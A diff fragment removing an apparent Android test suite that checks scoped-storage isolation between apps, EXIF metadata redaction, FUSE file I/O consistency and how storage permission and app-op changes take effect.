-                externalFilesDir.getPath().replace(THIS_PACKAGE_NAME, "no.such.package"));
-        final File shellPackageFileDir = new File(
-                externalFilesDir.getPath().replace(THIS_PACKAGE_NAME, "com.android.shell"));
-
-        assertThat(nonexistentPackageFileDir.mkdir()).isFalse();
-        assertThat(shellPackageFileDir.mkdir()).isFalse();
-    }
-
-    @Test
-    public void testCantAccessOtherAppsContents() throws Exception {
-        final File mediaFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
-        final File nonMediaFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
-        try {
-            installApp(TEST_APP_A);
-
-            assertThat(createFileAs(TEST_APP_A, mediaFile.getPath())).isTrue();
-            assertThat(createFileAs(TEST_APP_A, nonMediaFile.getPath())).isTrue();
-
-            // We can still see that the files exist
-            assertThat(mediaFile.exists()).isTrue();
-            assertThat(nonMediaFile.exists()).isTrue();
-
-            // But we can't access their content
-            assertThat(canOpen(mediaFile, /* forWrite */ false)).isFalse();
-            assertThat(canOpen(nonMediaFile, /* forWrite */ true)).isFalse();
-            assertThat(canOpen(mediaFile, /* forWrite */ false)).isFalse();
-            assertThat(canOpen(nonMediaFile, /* forWrite */ true)).isFalse();
-        } finally {
-            deleteFileAsNoThrow(TEST_APP_A, nonMediaFile.getPath());
-            deleteFileAsNoThrow(TEST_APP_A, mediaFile.getPath());
-            uninstallAppNoThrow(TEST_APP_A);
-        }
-    }
-
-    @Test
-    public void testCantDeleteOtherAppsContents() throws Exception {
-        final File dirInDownload = new File(getDownloadDir(), TEST_DIRECTORY_NAME);
-        final File mediaFile = new File(dirInDownload, IMAGE_FILE_NAME);
-        final File nonMediaFile = new File(dirInDownload, NONMEDIA_FILE_NAME);
-        try {
-            installApp(TEST_APP_A);
-            assertThat(dirInDownload.mkdir()).isTrue();
-            // Have another app create a media file in the directory
-            assertThat(createFileAs(TEST_APP_A, mediaFile.getPath())).isTrue();
-
-            // Can't delete the directory since it contains another app's content
-            assertThat(dirInDownload.delete()).isFalse();
-            // Can't delete another app's content
-            assertThat(deleteRecursively(dirInDownload)).isFalse();
-
-            // Have another app create a non-media file in the directory
-            assertThat(createFileAs(TEST_APP_A, nonMediaFile.getPath())).isTrue();
-
-            // Can't delete the directory since it contains another app's content
-            assertThat(dirInDownload.delete()).isFalse();
-            // Can't delete another app's content
-            assertThat(deleteRecursively(dirInDownload)).isFalse();
-
-            // Delete only the media file and keep the non-media file
-            assertThat(deleteFileAs(TEST_APP_A, mediaFile.getPath())).isTrue();
-            // Directory now has only the non-media file contributed by another app, so we still
-            // can't delete it nor its content
-            assertThat(dirInDownload.delete()).isFalse();
-            assertThat(deleteRecursively(dirInDownload)).isFalse();
-
-            // Delete the last file belonging to another app
-            assertThat(deleteFileAs(TEST_APP_A, nonMediaFile.getPath())).isTrue();
-            // Create our own file
-            assertThat(nonMediaFile.createNewFile()).isTrue();
-
-            // Now that the directory only has content that was contributed by us, we can delete it
-            assertThat(deleteRecursively(dirInDownload)).isTrue();
-        } finally {
-            deleteFileAsNoThrow(TEST_APP_A, nonMediaFile.getPath());
-            deleteFileAsNoThrow(TEST_APP_A, mediaFile.getPath());
-            // At this point, we're not sure who created this file, so we'll have both apps
-            // deleting it
-            mediaFile.delete();
-            uninstallAppNoThrow(TEST_APP_A);
-            dirInDownload.delete();
-        }
-    }
-
-    /**
-     * Test that deleting uri corresponding to a file which was already deleted via filePath
-     * doesn't result in a security exception.
-     */
-    @Test
-    public void testDeleteAlreadyUnlinkedFile() throws Exception {
-        final File nonMediaFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
-        try {
-            assertTrue(nonMediaFile.createNewFile());
-            final Uri uri = MediaStore.scanFile(getContentResolver(), nonMediaFile);
-            assertNotNull(uri);
-
-            // Delete the file via filePath
-            assertTrue(nonMediaFile.delete());
-
-            // If we delete nonMediaFile with ContentResolver#delete, it shouldn't result in a
-            // security exception.
-            assertThat(getContentResolver().delete(uri, Bundle.EMPTY)).isEqualTo(0);
-        } finally {
-            nonMediaFile.delete();
-        }
-    }
-
-    /**
-     * This test relies on the fact that {@link File#list} uses opendir internally, and that it
-     * returns {@code null} if opendir fails.
-     */
-    @Test
-    public void testOpendirRestrictions() throws Exception {
-        // Opening a non existent package directory should fail, as expected
-        final File nonexistentPackageFileDir = new File(
-                getExternalFilesDir().getPath().replace(THIS_PACKAGE_NAME, "no.such.package"));
-        assertThat(nonexistentPackageFileDir.list()).isNull();
-
-        // Opening another package's external directory should fail as well, even if it exists
-        final File shellPackageFileDir = new File(
-                getExternalFilesDir().getPath().replace(THIS_PACKAGE_NAME, "com.android.shell"));
-        assertThat(shellPackageFileDir.list()).isNull();
-
-        // We can open our own external files directory
-        final String[] filesList = getExternalFilesDir().list();
-        assertThat(filesList).isNotNull();
-
-        // We can open any public directory in external storage
-        assertThat(getDcimDir().list()).isNotNull();
-        assertThat(getDownloadDir().list()).isNotNull();
-        assertThat(getMoviesDir().list()).isNotNull();
-        assertThat(getMusicDir().list()).isNotNull();
-
-        // We can open the root directory of external storage
-        final String[] topLevelDirs = getExternalStorageDir().list();
-        assertThat(topLevelDirs).isNotNull();
-        // TODO(b/145287327): This check fails on a device with no visible files.
-        // This can be fixed if we display default directories.
-        // assertThat(topLevelDirs).isNotEmpty();
-    }
-
-    @Test
-    public void testLowLevelFileIO() throws Exception {
-        String filePath = new File(getDownloadDir(), NONMEDIA_FILE_NAME).toString();
-        try {
-            int createFlags = O_CREAT | O_RDWR;
-            int createExclFlags = createFlags | O_EXCL;
-
-            FileDescriptor fd = Os.open(filePath, createExclFlags, S_IRWXU);
-            Os.close(fd);
-            assertThrows(
-                    ErrnoException.class, () -> { Os.open(filePath, createExclFlags, S_IRWXU); });
-
-            fd = Os.open(filePath, createFlags, S_IRWXU);
-            try {
-                assertThat(Os.write(fd, ByteBuffer.wrap(BYTES_DATA1))).isEqualTo(BYTES_DATA1.length);
-                assertFileContent(fd, BYTES_DATA1);
-            } finally {
-                Os.close(fd);
-            }
-            // should just append the data
-            fd = Os.open(filePath, createFlags | O_APPEND, S_IRWXU);
-            try {
-                assertThat(Os.write(fd, ByteBuffer.wrap(BYTES_DATA2))).isEqualTo(BYTES_DATA2.length);
-                final byte[] expected = (STR_DATA1 + STR_DATA2).getBytes();
-                assertFileContent(fd, expected);
-            } finally {
-                Os.close(fd);
-            }
-            // should overwrite everything
-            fd = Os.open(filePath, createFlags | O_TRUNC, S_IRWXU);
-            try {
-                final byte[] otherData = "this is different data".getBytes();
-                assertThat(Os.write(fd, ByteBuffer.wrap(otherData))).isEqualTo(otherData.length);
-                assertFileContent(fd, otherData);
-            } finally {
-                Os.close(fd);
-            }
-        } finally {
-            new File(filePath).delete();
-        }
-    }
-
-    /**
-     * Test that media files from other packages are only visible to apps with storage permission.
-     */
-    @Test
-    public void testListDirectoriesWithMediaFiles() throws Exception {
-        final File dcimDir = getDcimDir();
-        final File dir = new File(dcimDir, TEST_DIRECTORY_NAME);
-        final File videoFile = new File(dir, VIDEO_FILE_NAME);
-        final String videoFileName = videoFile.getName();
-        try {
-            if (!dir.exists()) {
-                assertThat(dir.mkdir()).isTrue();
-            }
-
-            // Install TEST_APP_A and create media file in the new directory.
-            installApp(TEST_APP_A);
-            assertThat(createFileAs(TEST_APP_A, videoFile.getPath())).isTrue();
-            // TEST_APP_A should see TEST_DIRECTORY in DCIM and new file in TEST_DIRECTORY.
-            assertThat(listAs(TEST_APP_A, dcimDir.getPath())).contains(TEST_DIRECTORY_NAME);
-            assertThat(listAs(TEST_APP_A, dir.getPath())).containsExactly(videoFileName);
-
-            // Install TEST_APP_B with storage permission.
-            installAppWithStoragePermissions(TEST_APP_B);
-            // TEST_APP_B with storage permission should see TEST_DIRECTORY in DCIM and new file
-            // in TEST_DIRECTORY.
-            assertThat(listAs(TEST_APP_B, dcimDir.getPath())).contains(TEST_DIRECTORY_NAME);
-            assertThat(listAs(TEST_APP_B, dir.getPath())).containsExactly(videoFileName);
-
-            // Revoke storage permission for TEST_APP_B
-            revokePermission(
-                    TEST_APP_B.getPackageName(), Manifest.permission.READ_EXTERNAL_STORAGE);
-            // TEST_APP_B without storage permission should see TEST_DIRECTORY in DCIM and should
-            // not see new file in new TEST_DIRECTORY.
-            assertThat(listAs(TEST_APP_B, dcimDir.getPath())).contains(TEST_DIRECTORY_NAME);
-            assertThat(listAs(TEST_APP_B, dir.getPath())).doesNotContain(videoFileName);
-        } finally {
-            uninstallAppNoThrow(TEST_APP_B);
-            deleteFileAsNoThrow(TEST_APP_A, videoFile.getPath());
-            dir.delete();
-            uninstallAppNoThrow(TEST_APP_A);
-        }
-    }
-
-    /**
-     * Test that app can't see non-media files created by other packages
-     */
-    @Test
-    public void testListDirectoriesWithNonMediaFiles() throws Exception {
-        final File downloadDir = getDownloadDir();
-        final File dir = new File(downloadDir, TEST_DIRECTORY_NAME);
-        final File pdfFile = new File(dir, NONMEDIA_FILE_NAME);
-        final String pdfFileName = pdfFile.getName();
-        try {
-            if (!dir.exists()) {
-                assertThat(dir.mkdir()).isTrue();
-            }
-
-            // Install TEST_APP_A and create non media file in the new directory.
-            installApp(TEST_APP_A);
-            assertThat(createFileAs(TEST_APP_A, pdfFile.getPath())).isTrue();
-
-            // TEST_APP_A should see TEST_DIRECTORY in downloadDir and new non media file in
-            // TEST_DIRECTORY.
-            assertThat(listAs(TEST_APP_A, downloadDir.getPath())).contains(TEST_DIRECTORY_NAME);
-            assertThat(listAs(TEST_APP_A, dir.getPath())).containsExactly(pdfFileName);
-
-            // Install TEST_APP_B with storage permission.
-            installAppWithStoragePermissions(TEST_APP_B);
-            // TEST_APP_B with storage permission should see TEST_DIRECTORY in downloadDir
-            // and should not see new non media file in TEST_DIRECTORY.
-            assertThat(listAs(TEST_APP_B, downloadDir.getPath())).contains(TEST_DIRECTORY_NAME);
-            assertThat(listAs(TEST_APP_B, dir.getPath())).doesNotContain(pdfFileName);
-        } finally {
-            uninstallAppNoThrow(TEST_APP_B);
-            deleteFileAsNoThrow(TEST_APP_A, pdfFile.getPath());
-            dir.delete();
-            uninstallAppNoThrow(TEST_APP_A);
-        }
-    }
-
-    /**
-     * Test that app can only see its directory in Android/data.
-     */
-    @Test
-    public void testListFilesFromExternalFilesDirectory() throws Exception {
-        final String packageName = THIS_PACKAGE_NAME;
-        final File nonmediaFile = new File(getExternalFilesDir(), NONMEDIA_FILE_NAME);
-
-        try {
-            // Create a file in app's external files directory
-            if (!nonmediaFile.exists()) {
-                assertThat(nonmediaFile.createNewFile()).isTrue();
-            }
-            // App should see its directory and directories of shared packages. App should see all
-            // files and directories in its external directory.
-            assertDirectoryContains(nonmediaFile.getParentFile(), nonmediaFile);
-
-            // Install TEST_APP_A with READ_EXTERNAL_STORAGE permission.
-            // TEST_APP_A should not see other app's external files directory.
-            installAppWithStoragePermissions(TEST_APP_A);
-
-            assertThrows(IOException.class,
-                    () -> listAs(TEST_APP_A, getAndroidDataDir().getPath()));
-            assertThrows(IOException.class,
-                    () -> listAs(TEST_APP_A, getExternalFilesDir().getPath()));
-        } finally {
-            nonmediaFile.delete();
-            uninstallAppNoThrow(TEST_APP_A);
-        }
-    }
-
-    /**
-     * Test that app can see files and directories in Android/media.
-     */
-    @Test
-    public void testListFilesFromExternalMediaDirectory() throws Exception {
-        final File videoFile = new File(getExternalMediaDir(), VIDEO_FILE_NAME);
-
-        try {
-            // Create a file in app's external media directory
-            if (!videoFile.exists()) {
-                assertThat(videoFile.createNewFile()).isTrue();
-            }
-
-            // App should see its directory and other app's external media directories with media
-            // files.
-            assertDirectoryContains(videoFile.getParentFile(), videoFile);
-
-            // Install TEST_APP_A with READ_EXTERNAL_STORAGE permission.
-            // TEST_APP_A with storage permission should see other app's external media directory.
-            installAppWithStoragePermissions(TEST_APP_A);
-            // Apps with READ_EXTERNAL_STORAGE can list files in other app's external media
-            // directory.
-            assertThat(listAs(TEST_APP_A, getAndroidMediaDir().getPath()))
-                    .contains(THIS_PACKAGE_NAME);
-            assertThat(listAs(TEST_APP_A, getExternalMediaDir().getPath()))
-                    .containsExactly(videoFile.getName());
-        } finally {
-            videoFile.delete();
-            uninstallAppNoThrow(TEST_APP_A);
-        }
-    }
-
-    /**
-     * Test that readdir lists unsupported file types in default directories.
-     */
-    @Test
-    public void testListUnsupportedFileType() throws Exception {
-        final File pdfFile = new File(getDcimDir(), NONMEDIA_FILE_NAME);
-        final File videoFile = new File(getMusicDir(), VIDEO_FILE_NAME);
-        try {
-            // TEST_APP_A with storage permission should not see pdf file in DCIM
-            createFileUsingTradefedContentProvider(pdfFile);
-            assertThat(pdfFile.exists()).isTrue();
-            assertThat(MediaStore.scanFile(getContentResolver(), pdfFile)).isNotNull();
-
-            installAppWithStoragePermissions(TEST_APP_A);
-            assertThat(listAs(TEST_APP_A, getDcimDir().getPath()))
-                    .doesNotContain(NONMEDIA_FILE_NAME);
-
-            createFileUsingTradefedContentProvider(videoFile);
-            // We don't insert files to db for files created by shell.
-            assertThat(MediaStore.scanFile(getContentResolver(), videoFile)).isNotNull();
-            // TEST_APP_A with storage permission should see video file in Music directory.
-            assertThat(listAs(TEST_APP_A, getMusicDir().getPath())).contains(VIDEO_FILE_NAME);
-        } finally {
-            deleteFileUsingTradefedContentProvider(pdfFile);
-            deleteFileUsingTradefedContentProvider(videoFile);
-            MediaStore.scanFile(getContentResolver(), pdfFile);
-            MediaStore.scanFile(getContentResolver(), videoFile);
-            uninstallAppNoThrow(TEST_APP_A);
-        }
-    }
-
-    @Test
-    public void testMetaDataRedaction() throws Exception {
-        File jpgFile = new File(getPicturesDir(), "img_metadata.jpg");
-        try {
-            if (jpgFile.exists()) {
-                assertThat(jpgFile.delete()).isTrue();
-            }
-
-            HashMap<String, String> originalExif =
-                    getExifMetadataFromRawResource(R.raw.img_with_metadata);
-
-            try (InputStream in =
-                            getContext().getResources().openRawResource(R.raw.img_with_metadata);
-                    OutputStream out = new FileOutputStream(jpgFile)) {
-                // Dump the image we have to external storage
-                FileUtils.copy(in, out);
-            }
-
-            HashMap<String, String> exif = getExifMetadata(jpgFile);
-            assertExifMetadataMatch(exif, originalExif);
-
-            installAppWithStoragePermissions(TEST_APP_A);
-            HashMap<String, String> exifFromTestApp =
-                    readExifMetadataFromTestApp(TEST_APP_A, jpgFile.getPath());
-            // Other apps shouldn't have access to the same metadata without explicit permission
-            assertExifMetadataMismatch(exifFromTestApp, originalExif);
-
-            // TODO(b/146346138): Test that if we give TEST_APP_A write URI permission,
-            //  it would be able to access the metadata.
-        } finally {
-            jpgFile.delete();
-            uninstallAppNoThrow(TEST_APP_A);
-        }
-    }
-
-    @Test
-    public void testOpenFilePathFirstWriteContentResolver() throws Exception {
-        String displayName = "open_file_path_write_content_resolver.jpg";
-        File file = new File(getDcimDir(), displayName);
-
-        try {
-            assertThat(file.createNewFile()).isTrue();
-
-            ParcelFileDescriptor readPfd =
-                    ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_WRITE);
-            ParcelFileDescriptor writePfd = openWithMediaProvider(file, "rw");
-
-            assertRWR(readPfd, writePfd);
-            assertUpperFsFd(writePfd); // With cache
-        } finally {
-            file.delete();
-        }
-    }
-
-    @Test
-    public void testOpenContentResolverFirstWriteContentResolver() throws Exception {
-        String displayName = "open_content_resolver_write_content_resolver.jpg";
-        File file = new File(getDcimDir(), displayName);
-
-        try {
-            assertThat(file.createNewFile()).isTrue();
-
-            ParcelFileDescriptor writePfd = openWithMediaProvider(file, "rw");
-            ParcelFileDescriptor readPfd =
-                    ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_WRITE);
-
-            assertRWR(readPfd, writePfd);
-            assertLowerFsFd(writePfd);
-        } finally {
-            file.delete();
-        }
-    }
-
-    @Test
-    public void testOpenFilePathFirstWriteFilePath() throws Exception {
-        String displayName = "open_file_path_write_file_path.jpg";
-        File file = new File(getDcimDir(), displayName);
-
-        try {
-            assertThat(file.createNewFile()).isTrue();
-
-            ParcelFileDescriptor writePfd =
-                    ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_WRITE);
-            ParcelFileDescriptor readPfd = openWithMediaProvider(file, "rw");
-
-            assertRWR(readPfd, writePfd);
-            assertUpperFsFd(readPfd); // With cache
-        } finally {
-            file.delete();
-        }
-    }
-
-    @Test
-    public void testOpenContentResolverFirstWriteFilePath() throws Exception {
-        String displayName = "open_content_resolver_write_file_path.jpg";
-        File file = new File(getDcimDir(), displayName);
-
-        try {
-            assertThat(file.createNewFile()).isTrue();
-
-            ParcelFileDescriptor readPfd = openWithMediaProvider(file, "rw");
-            ParcelFileDescriptor writePfd =
-                    ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_WRITE);
-
-            assertRWR(readPfd, writePfd);
-            assertLowerFsFd(readPfd);
-        } finally {
-            file.delete();
-        }
-    }
-
-    @Test
-    public void testOpenContentResolverWriteOnly() throws Exception {
-        String displayName = "open_content_resolver_write_only.jpg";
-        File file = new File(getDcimDir(), displayName);
-
-        try {
-            assertThat(file.createNewFile()).isTrue();
-
-            // We upgrade 'w' only to 'rw'
-            ParcelFileDescriptor writePfd = openWithMediaProvider(file, "w");
-            ParcelFileDescriptor readPfd = openWithMediaProvider(file, "rw");
-
-            assertRWR(readPfd, writePfd);
-            assertRWR(writePfd, readPfd); // Can read on 'w' only pfd
-            assertLowerFsFd(writePfd);
-            assertLowerFsFd(readPfd);
-        } finally {
-            file.delete();
-        }
-    }
-
-    @Test
-    public void testOpenContentResolverDup() throws Exception {
-        String displayName = "open_content_resolver_dup.jpg";
-        File file = new File(getDcimDir(), displayName);
-
-        try {
-            file.delete();
-            assertThat(file.createNewFile()).isTrue();
-
-            // Even if we close the original fd, since we have a dup open
-            // the FUSE IO should still bypass the cache
-            try (ParcelFileDescriptor writePfd = openWithMediaProvider(file, "rw")) {
-                try (ParcelFileDescriptor writePfdDup = writePfd.dup();
-                        ParcelFileDescriptor readPfd = ParcelFileDescriptor.open(
-                                file, ParcelFileDescriptor.MODE_READ_WRITE)) {
-                    writePfd.close();
-
-                    assertRWR(readPfd, writePfdDup);
-                    assertLowerFsFd(writePfdDup);
-                }
-            }
-        } finally {
-            file.delete();
-        }
-    }
-
-    @Test
-    public void testOpenContentResolverClose() throws Exception {
-        String displayName = "open_content_resolver_close.jpg";
-        File file = new File(getDcimDir(), displayName);
-
-        try {
-            byte[] readBuffer = new byte[10];
-            byte[] writeBuffer = new byte[10];
-            Arrays.fill(writeBuffer, (byte) 1);
-
-            assertThat(file.createNewFile()).isTrue();
-
-            // Lower fs open and write
-            ParcelFileDescriptor writePfd = openWithMediaProvider(file, "rw");
-            Os.pwrite(writePfd.getFileDescriptor(), writeBuffer, 0, 10, 0);
-
-            // Close so upper fs open will not use direct_io
-            writePfd.close();
-
-            // Upper fs open and read without direct_io
-            ParcelFileDescriptor readPfd =
-                    ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_WRITE);
-            Os.pread(readPfd.getFileDescriptor(), readBuffer, 0, 10, 0);
-
-            // Last write on lower fs is visible via upper fs
-            assertThat(readBuffer).isEqualTo(writeBuffer);
-            assertThat(readPfd.getStatSize()).isEqualTo(writeBuffer.length);
-        } finally {
-            file.delete();
-        }
-    }
-
-    @Test
-    public void testContentResolverDelete() throws Exception {
-        String displayName = "content_resolver_delete.jpg";
-        File file = new File(getDcimDir(), displayName);
-
-        try {
-            assertThat(file.createNewFile()).isTrue();
-
-            deleteWithMediaProvider(file);
-
-            assertThat(file.exists()).isFalse();
-            assertThat(file.createNewFile()).isTrue();
-        } finally {
-            file.delete();
-        }
-    }
-
-    @Test
-    public void testContentResolverUpdate() throws Exception {
-        String oldDisplayName = "content_resolver_update_old.jpg";
-        String newDisplayName = "content_resolver_update_new.jpg";
-        File oldFile = new File(getDcimDir(), oldDisplayName);
-        File newFile = new File(getDcimDir(), newDisplayName);
-
-        try {
-            assertThat(oldFile.createNewFile()).isTrue();
-            // Publish the pending oldFile before updating with MediaProvider. Not publishing the
-            // file will make MP consider pending from FUSE as explicit IS_PENDING
-            final Uri uri = MediaStore.scanFile(getContentResolver(), oldFile);
-            assertNotNull(uri);
-
-            updateDisplayNameWithMediaProvider(uri,
-                    Environment.DIRECTORY_DCIM, oldDisplayName, newDisplayName);
-
-            assertThat(oldFile.exists()).isFalse();
-            assertThat(oldFile.createNewFile()).isTrue();
-            assertThat(newFile.exists()).isTrue();
-            assertThat(newFile.createNewFile()).isFalse();
-        } finally {
-            oldFile.delete();
-            newFile.delete();
-        }
-    }
-
-    @Test
-    public void testCreateLowerCaseDeleteUpperCase() throws Exception {
-        File upperCase = new File(getDownloadDir(), "CREATE_LOWER_DELETE_UPPER");
-        File lowerCase = new File(getDownloadDir(), "create_lower_delete_upper");
-
-        createDeleteCreate(lowerCase, upperCase);
-    }
-
-    @Test
-    public void testCreateUpperCaseDeleteLowerCase() throws Exception {
-        File upperCase = new File(getDownloadDir(), "CREATE_UPPER_DELETE_LOWER");
-        File lowerCase = new File(getDownloadDir(), "create_upper_delete_lower");
-
-        createDeleteCreate(upperCase, lowerCase);
-    }
-
-    @Test
-    public void testCreateMixedCaseDeleteDifferentMixedCase() throws Exception {
-        File mixedCase1 = new File(getDownloadDir(), "CrEaTe_MiXeD_dElEtE_mIxEd");
-        File mixedCase2 = new File(getDownloadDir(), "cReAtE_mIxEd_DeLeTe_MiXeD");
-
-        createDeleteCreate(mixedCase1, mixedCase2);
-    }
-
-    @Test
-    public void testAndroidDataObbDoesNotForgetMount() throws Exception {
-        File dataDir = getContext().getExternalFilesDir(null);
-        File upperCaseDataDir = new File(dataDir.getPath().replace("Android/data", "ANDROID/DATA"));
-
-        File obbDir = getContext().getObbDir();
-        File upperCaseObbDir = new File(obbDir.getPath().replace("Android/obb", "ANDROID/OBB"));
-
-
-        StructStat beforeDataStruct = Os.stat(dataDir.getPath());
-        StructStat beforeObbStruct = Os.stat(obbDir.getPath());
-
-        assertThat(dataDir.exists()).isTrue();
-        assertThat(upperCaseDataDir.exists()).isTrue();
-        assertThat(obbDir.exists()).isTrue();
-        assertThat(upperCaseObbDir.exists()).isTrue();
-
-        StructStat afterDataStruct = Os.stat(upperCaseDataDir.getPath());
-        StructStat afterObbStruct = Os.stat(upperCaseObbDir.getPath());
-
-        assertThat(beforeDataStruct.st_dev).isEqualTo(afterDataStruct.st_dev);
-        assertThat(beforeObbStruct.st_dev).isEqualTo(afterObbStruct.st_dev);
-    }
-
-    @Test
-    public void testCacheConsistencyForCaseInsensitivity() throws Exception {
-        File upperCaseFile = new File(getDownloadDir(), "CACHE_CONSISTENCY_FOR_CASE_INSENSITIVITY");
-        File lowerCaseFile = new File(getDownloadDir(), "cache_consistency_for_case_insensitivity");
-
-        try {
-            ParcelFileDescriptor upperCasePfd =
-                    ParcelFileDescriptor.open(upperCaseFile,
-                            ParcelFileDescriptor.MODE_READ_WRITE | ParcelFileDescriptor.MODE_CREATE);
-            ParcelFileDescriptor lowerCasePfd =
-                    ParcelFileDescriptor.open(lowerCaseFile,
-                            ParcelFileDescriptor.MODE_READ_WRITE | ParcelFileDescriptor.MODE_CREATE);
-
-            assertRWR(upperCasePfd, lowerCasePfd);
-            assertRWR(lowerCasePfd, upperCasePfd);
-        } finally {
-            upperCaseFile.delete();
-            lowerCaseFile.delete();
-        }
-    }
-
-    private void createDeleteCreate(File create, File delete) throws Exception {
-        try {
-            assertThat(create.createNewFile()).isTrue();
-            Thread.sleep(5);
-
-            assertThat(delete.delete()).isTrue();
-            Thread.sleep(5);
-
-            assertThat(create.createNewFile()).isTrue();
-            Thread.sleep(5);
-        } finally {
-            create.delete();
-            delete.delete();
-        }
-    }
-
-    @Test
-    public void testReadStorageInvalidation() throws Exception {
-        testAppOpInvalidation(TEST_APP_C, new File(getDcimDir(), "read_storage.jpg"),
-                Manifest.permission.READ_EXTERNAL_STORAGE,
-                AppOpsManager.OPSTR_READ_EXTERNAL_STORAGE, /* forWrite */ false);
-    }
-
-    @Test
-    public void testWriteStorageInvalidation() throws Exception {
-        testAppOpInvalidation(TEST_APP_C_LEGACY, new File(getDcimDir(), "write_storage.jpg"),
-                Manifest.permission.WRITE_EXTERNAL_STORAGE,
-                AppOpsManager.OPSTR_WRITE_EXTERNAL_STORAGE, /* forWrite */ true);
-    }
-
-    @Test
-    public void testManageStorageInvalidation() throws Exception {
-        testAppOpInvalidation(TEST_APP_C, new File(getDownloadDir(), "manage_storage.pdf"),
-                /* permission */ null, OPSTR_MANAGE_EXTERNAL_STORAGE, /* forWrite */ true);
-    }
-
-    @Test
-    public void testWriteImagesInvalidation() throws Exception {
-        testAppOpInvalidation(TEST_APP_C, new File(getDcimDir(), "write_images.jpg"),
-                /* permission */ null, AppOpsManager.OPSTR_WRITE_MEDIA_IMAGES, /* forWrite */ true);
-    }
-
-    @Test
-    public void testWriteVideoInvalidation() throws Exception {
-        testAppOpInvalidation(TEST_APP_C, new File(getDcimDir(), "write_video.mp4"),
-                /* permission */ null, AppOpsManager.OPSTR_WRITE_MEDIA_VIDEO, /* forWrite */ true);
-    }
-
-    @Test
-    public void testAccessMediaLocationInvalidation() throws Exception {
-        File imgFile = new File(getDcimDir(), "access_media_location.jpg");
-
-        try {
-            // Setup image with sensitive data on external storage
-            HashMap<String, String> originalExif =
-                    getExifMetadataFromRawResource(R.raw.img_with_metadata);
-            try (InputStream in =
-                            getContext().getResources().openRawResource(R.raw.img_with_metadata);
-                    OutputStream out = new FileOutputStream(imgFile)) {
-                // Dump the image we have to external storage
-                FileUtils.copy(in, out);
-            }
-            HashMap<String, String> exif = getExifMetadata(imgFile);
-            assertExifMetadataMatch(exif, originalExif);
-
-            // Install test app
-            installAppWithStoragePermissions(TEST_APP_C);
-
-            // Grant A_M_L and verify access to sensitive data
-            grantPermission(TEST_APP_C.getPackageName(), Manifest.permission.ACCESS_MEDIA_LOCATION);
-            HashMap<String, String> exifFromTestApp =
-                    readExifMetadataFromTestApp(TEST_APP_C, imgFile.getPath());
-            assertExifMetadataMatch(exifFromTestApp, originalExif);
-
-            // Revoke A_M_L and verify sensitive data redaction
-            revokePermission(
-                    TEST_APP_C.getPackageName(), Manifest.permission.ACCESS_MEDIA_LOCATION);
-            exifFromTestApp = readExifMetadataFromTestApp(TEST_APP_C, imgFile.getPath());
-            assertExifMetadataMismatch(exifFromTestApp, originalExif);
-
-            // Re-grant A_M_L and verify access to sensitive data
-            grantPermission(TEST_APP_C.getPackageName(), Manifest.permission.ACCESS_MEDIA_LOCATION);
-            exifFromTestApp = readExifMetadataFromTestApp(TEST_APP_C, imgFile.getPath());
-            assertExifMetadataMatch(exifFromTestApp, originalExif);
-        } finally {
-            imgFile.delete();
-            uninstallAppNoThrow(TEST_APP_C);
-        }
-    }
-
-    @Test
-    public void testAppUpdateInvalidation() throws Exception {
-        File file = new File(getDcimDir(), "app_update.jpg");
-        try {
-            assertThat(file.createNewFile()).isTrue();
-
-            // Install legacy
-            installAppWithStoragePermissions(TEST_APP_C_LEGACY);
-            grantPermission(TEST_APP_C_LEGACY.getPackageName(),
-                    Manifest.permission.WRITE_EXTERNAL_STORAGE); // Grants write access for legacy
-            // Legacy app can read and write media files contributed by others
-            assertThat(openFileAs(TEST_APP_C_LEGACY, file.getPath(), /* forWrite */ false)).isTrue();
-            assertThat(openFileAs(TEST_APP_C_LEGACY, file.getPath(), /* forWrite */ true)).isTrue();
-
-            // Update to non-legacy
-            installAppWithStoragePermissions(TEST_APP_C);
-            grantPermission(TEST_APP_C_LEGACY.getPackageName(),
-                    Manifest.permission.WRITE_EXTERNAL_STORAGE); // No effect for non-legacy
-            // Non-legacy app can read media files contributed by others
-            assertThat(openFileAs(TEST_APP_C, file.getPath(), /* forWrite */ false)).isTrue();
-            // But cannot write
-            assertThat(openFileAs(TEST_APP_C, file.getPath(), /* forWrite */ true)).isFalse();
-        } finally {
-            file.delete();
-            uninstallAppNoThrow(TEST_APP_C);
-        }
-    }
-
-    @Test
-    public void testAppReinstallInvalidation() throws Exception {
-        File file = new File(getDcimDir(), "app_reinstall.jpg");
-
-        try {
-            assertThat(file.createNewFile()).isTrue();
-
-            // Install
-            installAppWithStoragePermissions(TEST_APP_C);
-            assertThat(openFileAs(TEST_APP_C, file.getPath(), /* forWrite */ false)).isTrue();
-
-            // Re-install
-            uninstallAppNoThrow(TEST_APP_C);
-            installApp(TEST_APP_C);
-            assertThat(openFileAs(TEST_APP_C, file.getPath(), /* forWrite */ false)).isFalse();
-        } finally {
-            file.delete();
-            uninstallAppNoThrow(TEST_APP_C);
-        }
-    }
-
-    private void testAppOpInvalidation(TestApp app, File file, @Nullable String permission,
-            String opstr, boolean forWrite) throws Exception {
-        try {
-            installApp(app);
-            assertThat(file.createNewFile()).isTrue();
-            assertAppOpInvalidation(app, file, permission, opstr, forWrite);
-        } finally {
-            file.delete();
-            uninstallApp(app);
-        }
-    }
-
-    /** If {@code permission} is null, appops are flipped, otherwise permissions are flipped */
-    private void assertAppOpInvalidation(TestApp app, File file, @Nullable String permission,
-            String opstr, boolean forWrite) throws Exception {
-        String packageName = app.getPackageName();
-        int uid = getContext().getPackageManager().getPackageUid(packageName, 0);
-
-        // Deny
-        if (permission != null) {
-            revokePermission(packageName, permission);
-        } else {
-            denyAppOpsToUid(uid, opstr);
-        }
-        assertThat(openFileAs(app, file.getPath(), forWrite)).isFalse();
-
-        // Grant
-        if (permission != null) {
-            grantPermission(packageName, permission);
-        } else {
-            allowAppOpsToUid(uid, opstr);
-        }
-        assertThat(openFileAs(app, file.getPath(), forWrite)).isTrue();
-
-        // Deny
-        if (permission != null) {
-            revokePermission(packageName, permission);
-        } else {
-            denyAppOpsToUid(uid, opstr);
-        }
